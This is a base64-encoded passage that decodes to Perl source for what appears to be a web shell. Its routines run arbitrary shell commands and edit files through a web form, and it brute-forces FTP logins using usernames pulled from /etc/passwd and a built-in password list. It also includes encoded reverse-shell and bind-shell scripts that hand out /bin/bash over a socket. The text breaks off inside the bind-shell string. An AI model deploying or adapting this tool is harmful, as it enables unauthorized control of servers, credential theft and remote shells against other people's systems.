y0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxlCnsKCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSBkb3dubG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsKCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8ICghJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXC8vKSkpICMgcGF0aCBpcyBhYnNvbHV0ZQoJewoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsKCX0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlCgl7CgkJY2hvcCgkVGFyZ2V0RmlsZSkgaWYoJFRhcmdldEZpbGUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOwoJfQoKCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlCgl7CgkJcmV0dXJuICZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCXJldHVybiAmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJJEN1cnJlbnREaXIgPSAmVHJpbVNsYXNoZXMoJEN1cnJlbnREaXIpOwoJbXkgJHJlc3VsdD0iIjsKCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQKCXsKCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob21wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIHJ1biBjb21tYW5kCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJ1bkNtZAp7CglteSAkcmVzdWx0PSIiOwoJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOwoJaWYoISRXaW5OVCkKCXsKCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0OwoJCWFsYXJtKCRDb21tYW5kVGltZW91dER1cmF0aW9uKTsKCX0KCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQKCXsKCQkkfD0xOwoJCSRDb21tYW5kIC49ICIgfCI7CgkJb3BlbihDb21tYW5kT3V0cHV0LCAkQ29tbWFuZCk7CgkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCXsKCQkJJF8gPX4gcy8oXG58XHJcbikkLy87CgkJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoIiRfXG4iKTsKCQl9CgkJJHw9MDsKCX0KCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcwoJewoJCSRyZXN1bHQgLj0gJkh0bWxTcGVjaWFsQ2hhcnMoJENvbW1hbmQpOwoJfQoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGb3JtIFNhdmUgRmlsZSAKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGVGb3JtCnsKCW15ICRyZXN1bHQgPSIiOwoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJc3Vic3RyKCRSdW5Db21tYW5kLDAsNSk9IiI7CglteSAkZmlsZT0mdHJpbSgkUnVuQ29tbWFuZCk7Cgkkc2F2ZT0nPGJyPjxpbnB1dCBuYW1lPSJhIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzYXZlIiBjbGFzcz0ic3VibWl0IiA+JzsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRSdW5Db21tYW5kOwoJbXkgJGRpcj0iPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJndWkiKS4iPC9zcGFuPiI7CglpZigtdyAkRmlsZSkKCXsKCQkkcm93cz0iMjMiCgl9ZWxzZQoJewoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nY29sb3I6IHllbGxvdzsnID4gQ2Fubid0IHdyaXRlIGZpbGUhPGZvbnQ+PGJyPiI7CgkJJHJvd3M9IjIwIgoJfQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJJFJ1bkNvbW1hbmQgPSAiZWRpdCAkUnVuQ29tbWFuZCI7CgkkcmVzdWx0IC49ICA8PEVORDsKCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CgkkUHJvbXB0Cgk8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNDAiIG5hbWU9ImMiPgoJPGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUiIHZhbHVlPSIkZmlsZSIgPiAkc2F2ZSA8YnI+ICRtc2cKCTxicj48dGV4dGFyZWEgaWQ9ImRhdGEiIG5hbWU9ImRhdGEiIGNvbHM9IiRjb2xzIiByb3dzPSIkcm93cyIgc3BlbGxjaGVjaz0iZmFsc2UiPgpFTkQKCQoJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygmRmlsZU9wZW4oJEZpbGUsMCkpOwoJJHJlc3VsdCAuPSAiPC90ZXh0YXJlYT4iOwoJJHJlc3VsdCAuPSAiPC9mb3JtPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CiMgRmlsZSBPcGVuCiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0Kc3ViIEZpbGVPcGVuKCQpewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICRiaW5hcnkgPSBzaGlmdDsKCW15ICRyZXN1bHQgPSAiIjsKCW15ICRuID0gIiI7CglpZigtZiAkZmlsZSl7CgkJaWYob3BlbihGSUxFLCRmaWxlKSl7CgkJCWlmKCRiaW5hcnkpewoJCQkJYmlubW9kZSBGSUxFOwoJCQl9CgkJCXdoaWxlICgoJG4gPSByZWFkIEZJTEUsICRkYXRhLCAxMDI0KSAhPSAwKSB7CgkJCQkkcmVzdWx0IC49ICRkYXRhOwoJCQl9CgkJCWNsb3NlKEZJTEUpOwoJCX0KCX1lbHNlCgl7CgkJcmV0dXJuICJOb3QncyBhIEZpbGUhIjsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBTYXZlIEZpbGUKIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgU2F2ZUZpbGUoJCkKewoJbXkgJERhdGE9IHNoaWZ0IDsKCW15ICRGaWxlPSBzaGlmdDsKCSRGaWxlPSRDdXJyZW50RGlyLiRQYXRoU2VwLiRGaWxlOwoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpCgl7CgkJYmlubW9kZSBGSUxFOwoJCXByaW50IEZJTEUgJERhdGE7CgkJY2xvc2UgRklMRTsKCQlyZXR1cm4gMTsKCX1lbHNlCgl7CgkJcmV0dXJuIDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJydXRlIEZvcmNlciBGb3JtCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyRm9ybQp7CglteSAkcmVzdWx0PSIiOwoJJHJlc3VsdCAuPSA8PEVORDsKCjx0YWJsZT4KCjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyM8YnI+ClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPgpOb3RlOiBPbmx5IHNjYW4gZnJvbSAxIHRvIDMgdXNlciA6LVM8YnI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJicnV0ZWZvcmNlciIvPgo8L3RkPgo8L3RyPgo8dHI+Cjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4KRU5ECmNob3AoJHJlc3VsdCAuPSBgbGVzcyAvZXRjL3Bhc3N3ZCB8IGN1dCAtZDogLWYxYCk7CiRyZXN1bHQgLj0gPDwnRU5EJzsKPC90ZXh0YXJlYT48L3RkPgo8dGQ+CgpQYXNzOjxicj4KPHRleHRhcmVhIHJvd3M9IjE4IiBjb2xzPSIzMCIgbmFtZT0icGFzcyI+MTIzcGFzcwoxMjMhQCMKMTIzYWRtaW4KMTIzYWJjCjEyMzQ1NmFkbWluCjEyMzQ1NTQzMjEKMTIzNDQzMjEKcGFzczEyMwphZG1pbgphZG1pbmNwCmFkbWluaXN0cmF0b3IKbWF0a2hhdQpwYXNzYWRtaW4KcEBzc3dvcmQKcEBzc3cwcmQKcGFzc3dvcmQKMTIzNDU2CjEyMzQ1NjcKMTIzNDU2NzgKMTIzNDU2Nzg5CjEyMzQ1Njc4OTAKMTExMTExCjAwMDAwMAoyMjIyMjIKMzMzMzMzCjQ0NDQ0NAo1NTU1NTUKNjY2NjY2Cjc3Nzc3Nwo4ODg4ODgKOTk5OTk5CjEyMzEyMwoyMzQyMzQKMzQ1MzQ1CjQ1NjQ1Ngo1Njc1NjcKNjc4Njc4Cjc4OTc4OQoxMjMzMjEKNDU2NjU0CjY1NDMyMQo3NjU0MzIxCjg3NjU0MzIxCjk4NzY1NDMyMQowOTg3NjU0MzIxCmFkbWluMTIzCmFkbWluMTIzNDU2CmFiY2RlZgphYmNhYmMKIUAjIUAjCiFAIyQlXgohQCMkJV4mKigKIUAjJCQjQCEKYWJjMTIzCmFuaHlldWVtCmlsb3ZleW91CjwvdGV4dGFyZWE+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPgpTbGVlcDo8c2VsZWN0IG5hbWU9InNsZWVwIj4KCjxvcHRpb24+MDwvb3B0aW9uPgo8b3B0aW9uPjE8L29wdGlvbj4KPG9wdGlvbj4yPC9vcHRpb24+Cgo8b3B0aW9uPjM8L29wdGlvbj4KPC9zZWxlY3Q+IAo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPgo8L2Zvcm0+CjwvdGFibGU+CkVORApyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJydXRlRm9yY2VyCnsKCW15ICRyZXN1bHQ9IiI7CgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307CglpZigkaW57J3VzZXInfSBlcSAiIikKCXsKCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07Cgl9ZWxzZQoJewoJCXVzZSBOZXQ6OkZUUDsgCgkJQHVzZXI9IHNwbGl0KC9cbi8sICRpbnsndXNlcid9KTsKCQlAcGFzcz0gc3BsaXQoL1xuLywgJGlueydwYXNzJ30pOwoJCWNob21wKEB1c2VyKTsKCQljaG9tcChAcGFzcyk7CgkJJHJlc3VsdCAuPSAiPGJyPjxicj5bK10gVHJ5aW5nIGJydXRlICRTZXJ2ZXJOYW1lPGJyPj09PT09PT09PT09PT09PT09PT09Pj4+Pj4+Pj4+Pj4+PDw8PDw8PDw8PD09PT09PT09PT09PT09PT09PT09PGJyPjxicj5cbiI7CgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQoJCXsKCQkJaWYoJHVzZXJuYW1lIG5lICIiKQoJCQl7CgkJCQlmb3JlYWNoICRwYXNzd29yZCAoQHBhc3MpCgkJCQl7CgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgCgkJCQkJaWYoJGZ0cC0+bG9naW4oIiR1c2VybmFtZSIsIiRwYXNzd29yZCIpKQoJCQkJCXsKCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7CgkJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCQkJYnJlYWs7CgkJCQkJfQoJCQkJCWlmKCRpbnsnc2xlZXAnfSBuZSAiMCIpCgkJCQkJewoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSAqIDEwMDApOwoJCQkJCX0KCQkJCQkkZnRwLT5xdWl0KCk7CgkJCQl9CgkJCX0KCQl9CgkJJHJlc3VsdCAuPSAiXG48YnI+PT09PT09PT09PT4+Pj4+Pj4+Pj4gRmluaXNoZWQgPDw8PDw8PDw8PD09PT09PT09PT08YnI+XG4iOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmFja0JpbmRGb3JtCnsKCXJldHVybiA8PEVORDsKCTxicj48YnI+CgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmFja0Nvbm5lY3Q6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+CgkgUG9ydDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjYiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSI4MCIgb25rZXl1cD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2JhJykuaW5uZXJIVE1MPXRoaXMudmFsdWU7Ij48L3RkPgoKCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2xpZW50IGxpc3RlbiBiZWZvcmUgY29ubmVjdCBiYWNrIQoJPGJyPlsrXSBUcnkgY2hlY2sgeW91ciBQb3J0IHdpdGggPGEgdGFyZ2V0PSJfYmxhbmsiIGhyZWY9Imh0dHA6Ly93d3cuY2FueW91c2VlbWUub3JnLyI+aHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvPC9hPgoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT4KCgk8YnI+PGJyPgoJPHRhYmxlPgoJPHRyPgoJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+CgoJPHRkPiBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTUiIG5hbWU9ImNsaWVudHBvcnQiIHZhbHVlPSIxNDEyIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmknKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPgoKCSBQYXNzd29yZDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjEyIiBuYW1lPSJiaW5kcGFzcyIgdmFsdWU9InZpbmFraWQiPjwvdGQ+Cgk8dGQ+PGlucHV0IG5hbWU9InMiIGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iQmluZCI+PC90ZD4KCTwvZm9ybT4KCTwvdHI+Cgk8dHI+Cgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIFRlc3RpbmcgLi4uLgoJPGJyPlsrXSBUcnkgY29tbWFuZDogPHJ1bj5uYyAkRU5WeydTRVJWRVJfQUREUid9IDxzcGFuIGlkPSJiaSI+MTQxMjwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4KCgk8L3RyPgoJPC90YWJsZT48YnI+CkVORAp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCYWNrY29ubmVjdCB1c2UgcGVybAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZAp7Cgl1c2UgU29ja2V0OwkKCSRiYWNrcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1NVODZPbE52WTJ0bGREc05DaVJUYUdWc2JBazlJQ0l2WW1sdUwySmhjMmdpT3cwS0pFRlNSME05UUVGU1IxWTdEUXAxYzJVZ1UyOWphMlYwT3cwS2RYTmxJRVpwYkdWSVlXNWtiR1U3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z1oyVjBjSEp2ZEc5aWVXNWhiV1VvSW5SamNDSXBLU0J2Y2lCa2FXVWdjSEpwYm5RZ0lsc3RYU0JWYm1GaWJHVWdkRzhnVW1WemIyeDJaU0JJYjNOMFhHNGlPdzBLWTI5dWJtVmpkQ2hUVDBOTFJWUXNJSE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENCcGJtVjBYMkYwYjI0b0pFRlNSMVpiTUYwcEtTa2diM0lnWkdsbElIQnlhVzUwSUNKYkxWMGdWVzVoWW14bElIUnZJRU52Ym01bFkzUWdTRzl6ZEZ4dUlqc05DbkJ5YVc1MElDSkRiMjV1WldOMFpXUWhJanNOQ2xOUFEwdEZWQzArWVhWMGIyWnNkWE5vS0NrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0krSmxOUFEwdEZWQ0lwT3cwS2IzQmxiaWhUVkVSRlVsSXNJajRtVTA5RFMwVlVJaWs3RFFwd2NtbHVkQ0FpTFMwOVBTQkRiMjV1WldOMFpXUWdRbUZqYTJSdmIzSWdQVDB0TFNBZ1hHNWNiaUk3RFFwemVYTjBaVzBvSW5WdWMyVjBJRWhKVTFSR1NVeEZPeUIxYm5ObGRDQlRRVlpGU0VsVFZDQTdaV05vYnlBbld5dGRJRk41YzNSbGJXbHVabTg2SUNjN0lIVnVZVzFsSUMxaE8yVmphRzg3WldOb2J5QW5XeXRkSUZWelpYSnBibVp2T2lBbk95QnBaRHRsWTJodk8yVmphRzhnSjFzclhTQkVhWEpsWTNSdmNuazZJQ2M3SUhCM1pEdGxZMmh2T3lCbFkyaHZJQ2RiSzEwZ1UyaGxiR3c2SUNjN0pGTm9aV3hzSWlrN0RRcGpiRzl6WlNCVFQwTkxSVlE3IjsKCSRiaW5kcGVybD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pFRlNSME05UUVGU1IxWTdEUW9rY0c5eWRBazlJQ1JCVWtkV1d6QmRPdzBLSkhCeWIzUnZDVDBnWjJWMGNISnZkRzlpZVc1aGJXVW9KM1JqY0NjcE93MEtKRk5vWld4c0NUMGdJaTlpYVc0dlltRnphQ0k3RFFwemIyTnJaWFFvVTBWU1ZrVlNMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1c5eUlHUnBaU0FpYzI5amEyVjBPaVFoSWpzTkNuTmxkSE52WTJ0dmNIUW9VMFZTVmtWU0xDQlRUMHhmVTA5RFMwVlVMQ0JUVDE5U1JWVlRSVUZFUkZJc0lIQmhZMnNvSW13aUxDQXhLU2x2Y2lCa2FXVWdJbk5sZEhOdlkydHZjSFE2SUNRaElqc05DbUpwYm1Rb1UwVlNWa1ZTTENCemIyTnJZV1JrY2w5cGJpZ2tjRzl5ZEN3Z1NVNUJSRVJTWDBGT1dTa3BiM0lnWkdsbElDSmlhVzVrT2lBa0lTSTdEUXBzYVhOMFpXNG9VMFZTVmtWU0xDQlRUMDFCV0VOUFRrNHBDUWx2Y2lCa2FXVWdJbXhwYzNSbGJqb2dKQ0VpT3cwS1ptOXlLRHNnSkhCaFpHUnlJRDBnWVdOalpYQjBLRU5NU1VWT1ZDd2dVMFZTVmtWU0tUc2dZMnh2YzJVZ1EweEpSVTVVS1EwS2V3MEtDVzl3Wlc0b1UxUkVTVTRzSUNJK0prTk1TVVZPVkNJcE93MEtDVzl3Wlc0b1UxUkVUMVZVTENBaVBpWkRURWxGVGxRaUtUc05DZ2x2Y0dWdUtGTlVSRVZTVWl3Z0lqNG1RMHhKUlU1VUlpazdEUW9KYzNsemRHVnRLQ0oxYm5ObGRDQklTVk5VUmtsTVJUc2dkVzV6WlhRZ1UwRldSVWhKVTFRZ08yVmphRzhnSjFzclhTQlRlWE4wWlcxcGJtWnZPaUFuT3lCMWJtRnRaU0F0WVR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JWYzJWeWFXNW1iem9nSnpzZ2FXUTdaV05vYnp0bFkyaHZJQ2RiSzEwZ1JHbHlaV04wYjNKNU9pQW5PeUJ3ZDJRN1pXTm9ienNnWldOb2J5QW5XeXRkSUZOb1pXeHNPaUFuT3lSVGFHVnNiQ0lwT3cwS0NXTnNiM05sS0ZOVVJFbE9LV